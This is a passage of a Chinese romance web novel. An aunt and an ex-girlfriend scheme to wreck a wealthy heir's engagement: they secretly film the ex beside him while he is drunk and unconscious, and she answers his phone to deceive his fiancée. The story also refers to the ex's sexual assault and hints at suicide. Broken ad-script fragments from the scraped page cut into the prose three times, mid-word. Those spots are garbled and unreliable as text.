“你现在必须休息。”姚柔伊重复。 顾阎火大,骂道:“我用你管?拿来!” 姚柔伊这次没有依着他,她重重地将笔记本电脑合上,甩到一边,去拖拽他的手臂。 “现在立马跟我去卧室。” 当顾阎不配合她时,以她的力气根本拽不动他半分。姚柔伊暗下决心,之后一定老老实实健身,多长点肌肉,省得拽不动他。 她上前狠狠吻在他的唇上,舌头鲁莽地往里钻,毫无章法可言。 顾阎有所松动,偏过头。 姚柔伊拉下脸,赌气道:“如果你今天不听我的,我就离开,让你找不到我,什么时候你肯去睡觉了,什么时候我再回来。” 一听姚柔伊要走,顾阎呼吸紊乱,慌了神,他急切地抱住她:“不走,你不走,你之前说过要陪着我的。” “你这么不珍惜身体,我还陪着你做什么,守寡吗?”姚柔伊冲他翻了一眼,“你好好的,我才能陪着你。” “我好好的。”顾阎喃喃地重复,“我好好的,我去睡觉,但是你得陪我。” “嗯。” 顾阎顺从地和姚柔伊一起来到卧室,躺下后他仍然抱着她。 他太累了,近乎熬了整整七天。 他一闭眼,瞬间跌入沉睡,呼吸变得轻慢匀长。 姚柔伊静静地看着他的睡颜,他眼下乌青,胡渣明显,面色苍白憔悴,即便熟睡眉头都因紧绷的情绪而微皱。 看着,看着,姚柔伊也渐渐入眠。 这一觉顾阎昏睡一天一夜,足足20多个小时,姚柔伊帮他回绝了好几通助理打来的电话。 顾阎是饿醒的,他就像在原始森林中度过七天的探险者,对食物的渴望渗入骨血。 他掀开被子起身,眼前发黑,又跌回床上,缓了好一会儿重新起来。 顾阎下楼,去餐厅,看见姚柔伊在厨房里忙碌。 “在干嘛?”他的声音沙哑到可怖,像砂纸磋磨枯树枝干。 姚柔伊回头,惊喜道:“你终于起来了?饿了吗,我正在弄蔬果汁,你先等会,我刚才叫的外卖在保温箱,马上拿给你。” 顾阎走过去,抱了一下她,化身一条巨型犬狠狠嗅她的脖颈,闻到熟悉的、清新酸甜的橙香。 他把姚柔伊刚弄好的蔬果汁端起来一口干了,他实在太饿,等不及什么外卖。 一杯下肚,稍微回了点精神,顾阎伸懒腰,“我要去洗澡。” “先吃一点吧。”姚柔伊马上端来一碗海鲜粥,“还热着,不吃洗澡的时候晕倒了怎么办?” 顾阎接过粥,三两口喝完。 饿到轻微绞痛的肠胃终于舒缓,畅快地打了个嗝。 顾阎晃悠到浴室,洗了个热水 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 澡,将这些天的疲乏全部冲刷干净。 洗完澡的顾阎懒洋洋躺在沙发上,他好久没有这么松弛下来,甚至连手机都不想点开。 刚从一段很长的深睡眠中醒来,意识尚未归位,整个人都是涣散的,虚浮的,像泡在一汪温泉中。 姚柔伊拿着一个快递盒过来。 “这是别人寄给你的。”原本是寄到公司,是助理送过来的。 寄件人是ZHENG,和车载蓝牙连接记录是同一个人。 虽然特别好奇寄过来的是什么,但姚柔伊还是忍住没拆开。 顾阎接过快递盒,瞅了眼寄件人姓名和电话,随手就甩到一边不理。 “你不拆我拆。”姚柔伊过去拿快递盒,眼疾手快地拆开。 里面是个相册集。 这是姚柔伊第一次看到神秘人的真容。 孟筝,准确的说是大学时期的孟筝。 柔弱干净,清纯秀气,很像人畜无害的小白兔。 很难想象这会是顾阎的口味,她以为顾阎在国外交往的对象应该是热情奔放的金发辣妹。 怎么会是这么楚楚可怜的小白花呀? 姚柔伊自问自己刻意伪装小白花都达不到这种自然纯真的效果。 相册是孟筝和顾阎的合照,在各种场景的照片,白天、黑夜、晴空、细雨、飘雪、吃饭、游玩、打闹、开心、生气、哭泣,各种各样的生活点滴,顾阎并没有记录生活的习惯,那这些图片恐怕就是孟筝拍的,还细心地打印出来做成相册,每张相片还配了几句话说明,时间、地点、感想。 越翻,越喘不上来气,越翻,越能感受到记录者的用心之处。 “是相册。”姚柔伊心里不舒服,好似夏季暴雨来临之前的闷躁感,她把相册集合上,递给顾阎。 顾阎接过,还未翻开,就被姚柔伊抢回去。 她气鼓鼓道:“过去的人、过去的事,有什么可看的。” 她很害怕,这个相册集,会让顾阎陷入往事中,会让他回心转意。 顾阎淡笑:“你说的对,没什么可看,你看着处理吧。” “行,我一把火烧了。”姚柔伊说气话,照片里面的顾阎是大学时期的顾阎,长相、神情都比现在青涩俊气,是她没见过的样子,她还真舍不得烧掉。 可是有些合照看起来太恼人来了,比如接吻的照片,她绝不会自虐看第二遍。 * 若说以前对身为豪门儿媳妇没有任何实感,那么现在姚柔伊马上体会到了这种感受。 不过,是负面的感受。 蒋洲转了一道八卦推文给她,并评价:【怎么会有这种傻.逼】 推文标题是:订婚当日克死顾老爷子,顾大少未婚妻恐成扫把星。 姚柔伊没忍住点开这则八卦推文,里面拐弯抹角地将她描述成心机外围,还给她安上扫把星的晦气身份,甚至一个劲唱衰她和顾阎无法完婚。 下面的评论也是五花八门,打着认识她的名号瞎爆料,说她在大学里被包养云云,总之她被骂惨了。 姚柔伊只觉无聊,连反驳的兴趣都没有,点了举报。 姚柔伊:【怎么突然有人搞我,明明订婚的时候根本没通知媒体的人。】 蒋洲:【这你就不懂了吧,敌在内部呀。】 姚柔伊:【?】 姚柔伊:【你是说有人不想我和顾阎顺利结婚?】 蒋洲:【十有八九的事,都什么年代了,还玩网络抹黑这套。】 姚柔伊:【呵呵,随便谁了,反正急得又不是我。】 40. 第 40 章 自从订婚结束,姚柔伊的生活仿佛被按下了加速键。 她和顾阎的婚期确立在订婚之后的第99天,取长长久久之意。 三个月的备婚时间相当紧凑,好在大部分事情都外包给专业的婚庆公司操办,她自己需要操心的只有试婚纱、试妆造、拍婚纱照、思考邀请哪些好友,其余的场地布置,婚礼流程布置,媒体接洽等等都不需要她费心。 除了备婚之外,她的工作也忙起来。 但工作内容并不是她起初设想中的事情,基本上就是接受公司安排的各种采访、出镜拍摄宣传片、甚至完成直播时长,关于本职画画相关,给她安排的多是宣传推广类的商稿,包括但不仅限于游戏推广、数码产品推广、美妆推广,并且不仅需要画画,还需要她露脸宣传,比如说推广游戏时,她不但需要画出游戏角色,还要cos这个人物,公司会制作一条短视频,特效就做成游戏角色“活”过来,投放至各平台推广。 常言道,美貌叠加任何一种技能都是王炸,在这样大面积的曝光下,姚柔伊的人气直线飙升,短短一个多月就涨粉近百万,成了绘画圈的当红炸子鸡,她的一条广告报价高达二三十万。 可惜,她根本就不喜欢公司对她的运营方式,在加入这个漫画工作室之前,她想象中的工作内容,应该是完整地连载一部漫画作品,通过作品积累人气。 哪知道,她根本就没有画漫画的机会,整天都是配合公司完成各种宣传策划,接各种各样的广告,收入也是和公司进行广告分成。 她觉得自己离绘画圈越来越远,离网红圈越来越近。 事业这边看似风生水起,实则一言难尽,而生活这边倒是平平静静的,没有任何波折,蒋洲提醒她要注意敌在内部,顾家有人阻止她和顾阎的完婚,可这些天除了那个抹黑她的通稿,她没有发现其他的绊子,备婚事项一直很顺,故而那个不愉快的小插曲已被她抛到脑后。 她现在忙得团团转,一边忙备婚事项,一边忙宣传广告,根本没精力琢磨那事。 她和顾阎的情感从升温期迈入了平台期,从天雷勾地火模式迈向老夫老妻模式。 生活没有永远的激情,激情总会褪去,平平淡淡才是真。 她很满意现在的情感状态。 唯一不开心的是,在拍完婚纱照之后,顾阎紧急飞往国外出差,归期未定,多则半月,少则四五天。 顾家海外的某个重点项目突然暴雷,工厂被当地政/府恶意关停,还开出了天价罚款,外聘的高管也被警方暂时拘留,顾阎赶过去正是为了斡旋这事。 和顾阎一同前去的还有顾方圆,她在当地有些人脉,大学时期的一个同学已经发展成当地政.府高层。 顾阎刚落地机场的时候,就收到了姚柔伊的信息。 姚柔伊:【我刚才看到新闻,你那边昨天发生了枪战,嫌疑人还在逃窜中,没有被警方控制住,你一定要当心啊,务必平安回来!】 顾阎:【好,早点睡,已经晚上1点了。】 顾阎通过时差推算姚柔伊那边已经深夜。 但因忧心顾阎安危,姚柔伊迟迟无法入睡。 姚柔伊:【一定要找保镖!】 顾阎:【嗯】 姚柔伊:【还有不要单独行动!】 顾阎:【知道】 姚柔伊:【每隔两小时给我汇报一次情况!】 顾阎:【yesmadam】 姚柔伊:【唉,儿行千里母担忧啊!】 顾阎:【欠艹】 姚柔伊:【不行不行,我真要睡了,啊啊啊我的美容觉,变成毁容觉了啊啊啊】 顾阎:【好梦,宝宝】 顾方圆看着顾阎嘴角带笑,冷峻的眉眼像被春风消融,透着盎然春意,他将手机收回口袋。 顾方圆:“在和小姚聊天?” 顾阎点头,“嗯。她太担心我了。” “是个特别的姑娘。”顾方圆随意点评了一句,“我记得你之前喜欢的那个女孩不是这种类型的。” “在遇见真正合拍的伴侣之前,人很难明白自己究竟喜欢什么类型。” “也是。”顾方圆随意应了句。 安排接送的车辆来到机场,顾阎和顾方圆停止交谈,一行四五人上了车,去往预定的酒店。 强龙压不过低头蛇,尽管有大使馆的介入帮忙,这场麻烦的恶意商业纠纷解决起来仍然耗费顾阎很多的精力,光是陪当地官/员喝酒几乎将他喝吐。 好在最后双方协商成功,各退一步,项目被解封,总算能得以正常运行。 顾阎也暗中筹划着将这条业务线慢慢撤离当地,转到别的国家,防止再出意外。 最后的答谢会上,这边的人简直不要命地开酒,饶是顾阎酒量好,也架不住这种喝法,连带着助理,全喝到断片。 顾阎是撑着最后一丝清明回到酒店。 倒在床上的那一刻,他想的是,这次没法向姚柔伊汇报情况了,只能明天酒醒之后再说。 * 酒店,顾方圆房间。 “这是房卡。”顾方圆将一张金色卡片递过去,“他现在应该醉得不省人事,拍到照片之后就回来。” “不,我会在那呆一晚。”低着头的女人接过房卡后,抬头看向顾方圆,露出长发下柔美白皙的面庞,“这是我唯一的要求。” “没有意义,醉酒的男人根本做不了那种事,你在那躺一晚也不会有任何改变。” “我太久没有靠近他了。”她水润的眼眸里藏着哀伤。 “其实你骗了我,”顾方圆抱着手臂看向她,“你说顾阎对你余情未了,但就我的观察,并不像这么回事,你恐怕活在自欺欺人里。” “不,你瞎说!”女人一改柔弱乖顺的气质,情绪陡然激动起来,“他只是暂时变心了,是我当时放弃了他,他对我有气才会这样的!” 顾方圆摊了摊手,她想起之前在机场看到的,顾阎沉浸在爱意中,一反常态的模样,她不打算说出来刺激到眼前人。 “我对你们的关系究竟如何也不感兴趣,我们合作也只是当前目标一致,都不想让顾阎结婚。”顾方圆道:“至于你们能不能复合,我无所谓,祝你成功。” 顾方圆房间里的女人正是孟筝。 在顾阎订婚之后,孟筝快要崩溃,她不要命地奔向顾家公司总部,想强闯进去见顾阎一面,但她根本进不去,顾阎下令任何人都不准放她进来。 在她第三次去公司被照例赶出来之后,顾方圆找上了她。 “你是?”顾方圆问。 孟筝一口咬定:“我是他爱人。” 顾方圆立刻明白这是不死心的前任。 顾方圆:“你知道的,他已经订婚了,据我所知,三个月后是他们的婚期。” 孟筝如遭雷击,她痛苦地揪扯头发,眼眶涌出绝望的泪水。 “我不要他结婚,我不要他结婚,他明明说过,他永远不会和任何人结婚的,他骗了我,我不要他结婚!……”孟筝抱着头缓缓蹲下,口中重复着“我不要他结婚”。 “你不要他结婚是吗?我可以帮你。”顾方圆向她伸出了手。 孟筝因为不甘心的爱情不想顾阎结婚,而顾方圆因为父亲无情的遗嘱内容,也不想顾阎成婚顺利继承股权,她们虽目的不同,但目标一致,就是阻止这场婚事。 孟筝慢慢将自己的手放在她的手掌上,仰着头,眼里痛意和恨意交织,“你怎么帮我?” * 孟筝快速走到房卡上标注的房间号前,刷卡,进入。 进了门之后,她缓缓地挪步,失魂落魄地走到床前,看向床上熟睡的顾阎。 自从分手之后,她除了能在媒体上偶尔看到几张他的近照,这还是第一次近距离看到顾阎的脸。 她的眼泪砸了下来,她握着他的手,替自己擦眼泪,“你真的一点点都不想我吗?你真是个负心汉。” “凭什么你可以毫无心理负担地开启新生活,凭什么我却一直走不出来,我这么痛苦,你却一无所知,我恨你,我恨你,我好恨你,不,我爱你,我还爱你,我恨不得杀了你……” 孟筝颠来倒去地说着爱和恨,她自己也分不清,究竟是爱他多点,还是恨他多点? 可不论是爱是恨,统一的指向就是占有,她疯狂地想独占他,哪怕他已经完全不爱她了,可她还是渴望着占有他。 孟筝站起身,将身上的白色长裙脱下来,里面不着寸缕。 她轻手轻脚地爬上床,紧紧拥着顾阎。 明明他的身躯散发着源源不断的热度,可孟筝却好似坠入了冰窟之中,血管中冒着寒气,血液的流速很慢很慢,她发起了抖。 顾阎毫无知觉。 隐蔽的银针摄像头,像热带丛林中掩藏在碎枝烂叶下的毒蛇眼睛,淬着致命毒液,无声无息地记录下这一切。 孟筝挨着他流泪,泪水沾湿了大半的衬衫,她去吻他,没有任何的回应。 浓重的酒气,平缓的呼吸,温热的身躯,静默的黑夜,这是唯一留给孟筝的东西。 “你真的很爱她吗?”孟筝绝望地问。 她不相信他的爱能冲破行为准则,一个排斥婚姻的人会愿意结婚。 她看向他的手,他的无名指上有一枚素圈戒指,这是姚柔伊补给他的,她套在他的手指上,威胁他不许摘下来,否则她就把那枚硕大的宝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 石戒指丢掉。 孟筝动作强硬地把戒指撸下来,她丝毫不控制力气,甚至希冀能吵醒他,可惜未果。 她看着被她拽下来的戒指,生气道:“你不是最讨厌戴首饰的吗,以前我想和你戴情侣手链,你都没有戴,她一点都不了解你,怎么还逼你戴戒指呢?” 平躺的顾阎在昏睡中翻了个身,变成侧躺,口中溢出梦吟,孟筝附耳过去,听见他说“伊伊”。 孟筝死死攥着那枚戒指,掌心锐痛,戒指似乎嵌进她的血肉中。 针孔摄像机中的画面实时传输到顾方圆的电脑中,她倒一杯咖啡,边喝边截取需要的画面,拷贝下来。那闲适优雅的样子,仿佛不是在处理偷拍视频,而是在浏览股票行情。 姚柔伊刚结束一条广告视频拍摄,她刷了刷手机,没有收到顾阎的回复,上一条还停留在三个小时前。 顾阎:【等会答谢宴,应该是最后一个饭局,结束之后,第二天就可以回去。】 姚柔伊:【太好了!少喝点酒!】 顾阎:【恐怕很难】 身在他国,对面还多是政要,很难拒绝喝酒。 姚柔伊:【饭局束之后记得给我回复!】 顾阎:【好】 然而三个多小时,想必已经结束了吧,顾阎音讯全无。 该不会喝醉了?姚柔伊想起之前看新闻,有个醉酒的人,因无人照看,被自己的呕吐物呛死了。 一旦看不见摸不着,人就很容易胡思乱想,尤其是姚柔伊还是个有点悲观倾向的人。 她拨了个电话过去。 顾阎床头的手机震动起来,声音虽大,但对半昏迷的人毫无作用,孟筝起身,拿过手机。 来电显示,未婚妻。 该不该接呢? 接了之后该说什么呢? 哦,她甚至不需要说话,只需要发出一点点声音,对面就会脑补出剧情,他们就会发生争吵,若是能吵到分手,那正遂了孟筝的愿。 多好的机会啊,她必然不会放任这个机会白白流走。 孟筝接通了电话,她没有开口,先听对方说话。 见电话接通,姚柔伊松了一口气,骂道:“你在干嘛,怎么不回微信,不想回来了是不是?!” 对面没有声音,姚柔伊心遽地一沉,疑声:“顾阎?你在吗?说话呀!” 两秒钟后,话筒里传来一道轻柔的女声:“抱歉,他喝醉了,在睡觉。” “你是谁?!”姚柔伊脱口而出:“孟筝?” 她也不知道为什么自己会直接叫出这个名字,明明从未听过对方的声音,可她还是直觉这个声音是孟筝。 或许,人在紧张的时候只会想到最耿耿于怀的那个人。 “你认识我?”对面的语气疑问中带着欢欣,“他果然向你提过我。” 姚柔伊:“你们为什么会在一起?” 孟筝直接挂断了电话,删除来电记录,并将顾阎的手机关机。 点到即止,其余的交给当事人自己想象。 孟筝伤痛的感觉总算有所减淡,凭什么你们拥有幸福,独留我一人难过,现在谁也别想好过,我有多难受,你们都要体会一遍。 她就像是一朵藤蔓上长满毒针的菟丝花,无害的外表,剧毒的内里。 孟筝悲哀地想,她本来不是这样的,是顾阎害了她,她没错,她只是不想他忘记她独自幸福而已。 我既身在地狱,你怎可独往天堂,你必须留下,做我一个人的阎王。 她笑着,流着泪笑着。 半个小时后,顾方圆已经整理完她需要的视频内容,她来到顾阎的房间,冷着脸,严肃地对孟筝说:“你可以离开了。” “我不走。”孟筝拒绝,就算顾阎没有意识,她也想在他身边一直躺着,她想看看他睁眼看见她时的反应。 顾方圆:“如果你不走,我不介意报警。” 如果孟筝留下,顾阎醒来后,势必会找通过孟筝找到她这个幕后主使,他这人做事疯狂又极端,很有可能让她没有办法回到国内,她所实施的计划也会功亏一篑,甚至还搭上自己的人身安全。 她只能把孟筝带走,尽量拖延事情的败露。 孟筝呵了声:“报警,难道不是你指使我这么做的吗?你是主谋,你怎么敢报警?” 顾方圆:“我敢报警,自然是因为我能摆平掉你,你敢赌吗?” 孟筝迟疑了。 她不敢赌,她还要留着自由继续和顾阎纠缠,直到一切尘埃落定。 顾方圆把地上的长裙捡起来,递过去:“穿好,跟我离开。” 孟筝穿好后,回头望了眼顾阎,将手里的戒指一并拿走。 41. 第 41 章 被挂断电话的姚柔伊,突然产生晕眩感,脑海中响起一声的尖锐凄厉的蝉鸣声。 甚至产生强烈反胃感。 一想到在大洋的彼端,孟筝出现在顾阎的身边,做着她不知道的事情,她就万分恶心想吐。 姚柔伊跑到洗手间,什么都没有吐出来。 回到客厅,抱着腿、窝在沙发上,心力交瘁,头脑晕涨。 她又想起那本相册。 记录着他们点点滴滴的相册,被她完好地收在书柜里。 姚柔伊鞋都不穿,飞奔至书房,从书柜里拿出相册,狠狠地撕扯,发泄胸口快要喷涌的愤恨。 撕成一摊后,她又把这些碎片带去厨房,打开燃气灶,一点点烧掉。 厨房被难闻的浓烟充斥着,她被呛出了眼泪。 终于烧完,她脱力地坐在厨房的地板上,周围是散落的相片灰烬。 她连哭泣的欲望都没有,只是很虚脱无力的感觉。 她明明做了鸵鸟,不去管那个孟筝,可现实猛地给她一个巴掌,告诉她问题一直存在,不去面对只会发生更可怕的、更难以承受的事情。 厨房地板硬且凉,姚柔伊坐了一会儿,觉得没劲,又起来回到沙发,睡觉。 她没有胃口,没有力气,不想看手机。 只是睡觉。 她也不知道自己睡了多久,肚子饿得很痛,她不想去吃饭,任由这股饿劲过了,接着睡。 在她以为自己要睡进医院的时候,顾阎回来了。 他将她从沙发上抱起来,放到卧室床上。 后背刚接触到床面,姚柔伊醒了。 她的眼睛直直看着他,她等着他的解释,或者宣判。 顾阎被她盯得发毛,“怎么了?是因为昨天没有回你消息吗,我喝多了,醉得厉害,没有看到,我回复之后你也不理我。”话尾还带着一点小埋怨。 “你昨天跟谁在一起的?”姚柔伊问。 她想,如果他老实交待,并解释到位,或许她会相信他的话。 “和助理他们。”顾阎疑惑:“还有二姑。” 姚柔伊:“我说的不是他们,其他人。” 顾阎:“一些外国佬,你也不认识。” 为什么明明发生了,却不肯承认呢? 姚柔伊想不通。 她很失望。 “我打电话的时候,是一个女人接的。”姚柔伊说完,仔细观察他的动作和表情。 顾阎右手摸了下左后背,好似想明白什么,“我要去投诉那个酒店,有人偷偷进入我的房间。” 姚柔伊的视线落在他的手背上,见那枚素圈戒指不见踪影,她心凉到谷底,“你见她的时候连戒指都不想戴了?如果不戴能不能还给我,我后悔送给你了。” “不是,我醒来之后,它就不见了。”顾阎说:“原本想回来之后买个新的戴上,但听你说有人接我的电话,我才能确定戒指是被偷走的。” 姚柔伊冷笑:“到底是偷走的,还是送走的?” 见姚柔伊这般,顾阎大致能确定,接他电话的女人不是陌生人。 那只有一种可能。 “我真不知道孟筝来过我房间。”顾阎烦躁地抓了把头发,“可能这么说你也不信吧,我被人算计了。” “有谁能算计到你头上?”姚柔伊无力道:“算了,你走吧,我现在不想跟你说话。” “等我查出真相。”顾阎去抱姚柔伊,被她推开,他讪讪站定:“照顾好自己,我马上回来。” 顾阎决定当面和孟筝对峙,并要回那枚戒指。 他这么长时间,一直躲着她,有自己心虚的成分在,当年她对他情深无二,他都懂,她问他要婚姻,他混蛋,不肯答应,换她失望离开。他给她很多经济上补偿,她一样没收,很显然她是恨他的。 他对她有太多歉疚,可确实没有余情,本质她的性格并不是他喜欢的那种,和她在一起自己很少有轻松的时候,她情绪太敏感,不像姚柔伊那样敢爱敢恨,率性表达,和孟筝在一起,他更多的是需要猜,猜她的所思所想,顾虑她的方方面面。 尤其是安全感这一块,折磨得他头疼,他根本没法和朋友们聚会喝酒,她随时随地查岗,像幽灵一样。 在那段关系中,他自觉对不起她,所以不太想去面对她。 奈何她对他太执着了,也对他曾经说自己绝对不会结婚的话太在意,以致于至今困在过去。 顾阎想,冷处理终究不是个办法,是时候斩断她所有的妄想。 顾阎拨通孟筝的电话。 她接的很快。 “孟筝,出来聊聊吧。”顾阎尽量克制住怒火,使他的声音听起来很正常。 “你终于肯主动联系我了?”孟筝问:“你想跟我聊什么,让我回去?” 顾阎:“让你死心。” “不,那我不会去见你的。”孟筝摇头,尽管隔着手机并不能让顾阎看见。 “把你偷走的戒指带上。”顾阎说:“只有这一次见面的机会,你不来不会有下一次。” “不,会有的。你看我去找了你多少次,你都不见我,而现在你就愿意见我了,我做到了。” 顾阎火气飙升,“真觉得我能被你们算计两次?” 孟筝:“谁知道呢。至少这次成功了不是吗?” “来到我房间,私自接电话让我未婚妻误会,偷走戒指,你觉得这些把戏能有什么用?”顾阎叹了一口气:“我们会吵架,但很快就会和好,而你呢,从此再也不会成为我们的爱情阻碍。至少,我不会再对你有任何的愧疚。” “不会对我有任何的愧疚,真的吗?”孟筝轻松的语气不复存在,她开始哽咽:“你不应该对我愧疚吗?你是怎么走出母亲自杀的阴影的?是我陪着你的!我那么爱你,将我的一切都献给了你,可是你呢,你从未给我对等的爱,你不应该愧疚吗?” “你说的对,我是渣了你,我起初挺愧疚的,如果你不出现,不重新介入我的生活,我可能真的会对你愧疚一辈子。”顾阎说完就笑了:“但是,你知道的,我们这种渣男,只要拿到了对方犯错的把柄,什么愧疚都会自己消解掉的。” “你不是渣男。”孟筝言之凿凿:“我才不会爱上一个渣男。你只是一个不够爱我的坏男人。” 顾阎沉默了,他叹了一口气:“算我求你,放过我,放过自己,回去。” “我回国是为了带你走的。” 顾阎:“你不是个异想天开的人,何必说这种不能实现的话。” 孟筝固执地说:“可以实现的,我们会在一起。”如果不能带你走,我便留下,长眠于此,我们终将会在一起。 “你是不是疯了?”顾阎并没有调侃,他说的很平静,她展现出来的心理状态极不正常,以前的孟筝不会这样的极端,“你现在应该去看一下心理医生,你可能病了。” 顾阎指出她生病的时候,孟筝正吞服下两粒药片。 所有人都觉得她病了,连医生都给她开出了药,可她知道这个药只能发挥病理作用,而她真正的药在顾阎身上,可他不肯医治她。 她身在阿鼻地狱,整夜整夜睡不着,他怎么不愿意拉她一把呢? 当年她救了他,为什么他不肯救她呢? “如果我病了,你会管我吗?”孟筝说。 顾阎说:“我只能帮你介绍医院和医生,其余的只能靠你自己度过,自己走出来。” “不要。”孟筝哭起来,话语混乱:“我走不出来,你根本不知道,你怎么会知道,你在幸福,我在痛苦,你根本不知道我发生了什么,为什么他们没有死,为什么没人保护我,为什么我会遭遇那些,我不要一个人,我不要再遇见他们……” 她的话听起来在控诉他的分手,可细品起来又有些不合理之处,“他们没有死”,“不要再遇见他们”,藏在这段话里的“他们”究竟是谁? 顾阎:“你遭遇了什么,你应该跟心理医生好好聊一下。” 孟筝:“我快要死了。” 这话又是没头没尾、语出惊人的一句。 “算了,你在哪? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 既然你不愿意出来聊,我过去取戒指。”这枚戒指是姚柔伊送的,意义不一样,如果能找回来,他是不愿意重新买的。 “戒指被我吃掉了。” 孟筝的话已经越来越奇怪,完全无法正常沟通,她就像在发病中,不是正常的精神状态。 既问不出她的地址,也不想和她多做纠缠,顾阎挂了电话。 他第二个电话打给顾方圆。 顾方圆自然知道他会来兴师问罪,她接起电话。 顾阎:“二姑,你什么时候变得这么无聊了?” “无聊吗,或许吧。”顾方圆语气平和,就像姑侄间拉家常,“我看那姑娘可怜,也不忍心不帮一把。” “二姑什么时候这么热心肠了?”顾阎感慨:“我小时最羡慕的人就是二姑,觉得二姑潇洒,有股子飒劲。” “早不是从前了。”顾方圆淡淡笑了声。 “我知道二姑不是这么无聊的人,你这么做,就是泄个恨,我不追究。” 顾卫国的遗嘱,最难接受的人,不是顾乾,不是顾坤,而是顾方圆。 她从小受宠爱,学习优异,脑子聪明,人也独立能抗事。 虽说老二永远是被忽视的那个,但顾方圆却是个例外,是兄妹三人里最得顾卫国喜爱的人。 她以为这种爱会一直持续下去,她甚至畅想过接顾卫国的班。 可随着长大,她渐渐意识到,父亲的这种爱,不是她以为的看重的爱,而只是宠爱,对小女孩的宠爱。 顾卫国根本就没有任何让她接班的打算,哪怕她的能力超过哥哥和弟弟。 顾卫国的思想有开创进取的部分,自然也有刻板守旧的部分,譬如不想让女儿受累,觉得给女儿足够的钱,让她衣食无忧,想做什么就做什么,快快乐乐长大就够了,至于继承家业,那太苦太累了,不适合女儿。 顾方圆就是这么带着赌气的想法出的国,她在国外的几年,除了读书,其余的所有时间全部利用起来,做各种兼职,然后顺利在毕业的时候拿到一个知名企业的高薪offer。 她工作起来不要命,几年间便靠着出众的业务能力升至高管,她在无形中和父亲较劲,想告诉他,自己能吃苦,自己能肩负起企业的未来。 可很快,顾方圆就迎来了职业天花板,她晋升的通道被一个老白男抢占了。 为此,她大病一场,也是在这个时候,顾卫国让她回来,同意她进公司。 女儿在外受苦,父亲终究是不忍。 顾方圆以为这场战役她赢了,她会得到她想要的一切,可最后呢,除了现金,房产这类资产她比别人多分一些,股权终究是没她的份。 原来到头来,顾卫国只是疼爱她,也仅仅是疼爱。 顾方圆想不通,或许她早就想通了,感性上能理解,理性上接受不了。 她想报复,可又能报复什么,父亲已经离去了,她能做的就只有这种无聊的事情。 无聊就无聊吧,反正她也决定离开了,不妨就无聊一把。 那个经常来公司,却一直见不到顾阎的女孩,顾方圆偷偷派人去调查过她,她同情她,她选择了她,她可以帮她,也可以利用她,完成这个无聊的事情。 顾阎说:“孟筝住哪?她现在不太正常,我也不知道她究竟怎么回事。” “你不知道她在国外被……”顾方圆顿住:“好吧,看来你确实没把她放在心上。” 顾阎太阳穴抽搐了一下,有强烈的负面预感,他呼吸发紧:“你说她在国外怎么了?” “去年,两个持枪抢劫的混混,干的畜生事。”顾方圆叹了口气:“她还活着也挺不容易的。” “她住哪?”顾阎胸闷至极,“她现在状态不太对劲,我去看看她,防止她做傻事。” 尽管这创伤与他无关,可毕竟相识一场,也曾亲密无间,实在无法坐视不理。 顾方圆报了个地址。 顾阎驱车前去。 堵车时,他收到了姚柔伊发来的信息。 【我们分手吧。】 42. 第 42 章 【我们分手吧。】 这五个字眼像一根针灸用的毫针,长而尖细,直直地插入太阳穴中,戳破脑髓,尖锐刺痛。 堵在寸步难行的车流中,他痛苦地闭上眼睛,脑袋往后猛地一砸,胸腔剧烈起伏。 前方车辆龟速挪动,后方车子急迫地按喇叭催促。 顾阎缓缓移动车子,回了句:【等我回去再说。】 此刻,他万分想调转车头,赶回别墅,去抱抱姚柔伊,去向她道歉,去挽留她,平息她的怒火和伤悲。 然而情况不明的孟筝,恐有生命风险,若是她因为自己打的这通电话,唤起她伤痛的记忆,一时寻了短见,午夜梦回,他的良心如何安息? 情理之中,他都得先去查看一下孟筝当前的情况,将她送医,与她的纠纷解决完毕后,再处理和姚柔伊的情感纠扯。 姚柔伊收到顾阎的回复,依然是冷冷地笑,不知道该笑谁,是该笑他首鼠两端,还是笑自己自欺欺人。 此刻,顾阎一定是和旧情人在一起,哪怕自己的分手通知,都不能动摇他分毫。 等他回去,和前任你侬我侬完再回去吗? 姚柔伊觉得顾阎肮脏,□□与灵魂都糜烂着腐肉味道的肮脏,就像菜市场卖不掉的过期的、围绕着无数苍蝇叮咬的烂肉。 想着想着,姚柔伊再度泛起恶心感,她冲到洗手台呕吐,呕出泛酸的胃液。 姚柔伊心如死灰地拉黑顾阎。 她开始收拾东西,这空旷的别墅已经再无家的感觉,她无法在这里待上片刻。 她带来的物品并不多,很多东西来到这边后,顾阎替她添置的,比如满满一墙的名牌包包,比如堆满整个更衣间的衣物和鞋子,比如小山堆似的护肤品和化妆品。 这些她统统不拿,收拾完只装满了一个行李箱,正如之前她就带着这一个行李箱入住,满心希冀着开启甜蜜的生活。 姚柔伊联系上庞天娇。 开口的那一刻,她的眼泪就不自觉流下来:“你换房子了吗?” 庞天娇忙问:“怎么哭了?和未婚夫吵架了?我还是住在之前租的那套房子,你搬走之后房间还是原来那样,欢迎你回来。” “好。”姚柔伊说:“我应该下午就能到。” 庞天娇:“等你到了,我去接你。我买了辆二手车。” “恭喜。” “这都是拜你所赐,稿件多到我花不完,这几个月攒了不少钱,就买了个代步车,出行能方便一点。” 姚柔伊当初送给她的那个新号,现在也有二十多万的粉丝,由于她极度缺钱,画稿异常勤奋,出图又快又好,前来约稿的人络绎不绝,呈现出一个正向循环,现在不仅每个月给家里寄一万,还能额外攒下不少钱。 庞天娇接到姚柔伊的时候,看到她之后满眼心疼,抱住她说:“天啊,你怎么瘦这么多?” 姚柔伊低头看了眼自己,她这两天几乎什么都没吃,还总是想吐,心情又差到爆炸,本来苗条的她一下子更瘦了,低头能看见明显的肋骨。 姚柔伊:“心情不好,吃不下去。” 庞天娇:“我带你去转转,放松心情,回去给你做好吃的,我最近又学会好几个菜。” “嗯。”姚柔伊点头:“感觉你和之前有点不一样了,更活泼了一点。” 庞天娇抿着嘴笑了下:“可能画稿子太充实了,看见存款数字增加,心情轻松,人就活泼了。” “你家里情况怎么样?” “挺好的,我每月给他们寄钱,我妈不用再去上班,我爸的病情也稳定下来了。” “真好。” 她们再次拥抱了一下,姚柔伊真心为她开心。 庞天娇关切道:“你呢?怎么突然回来了?” 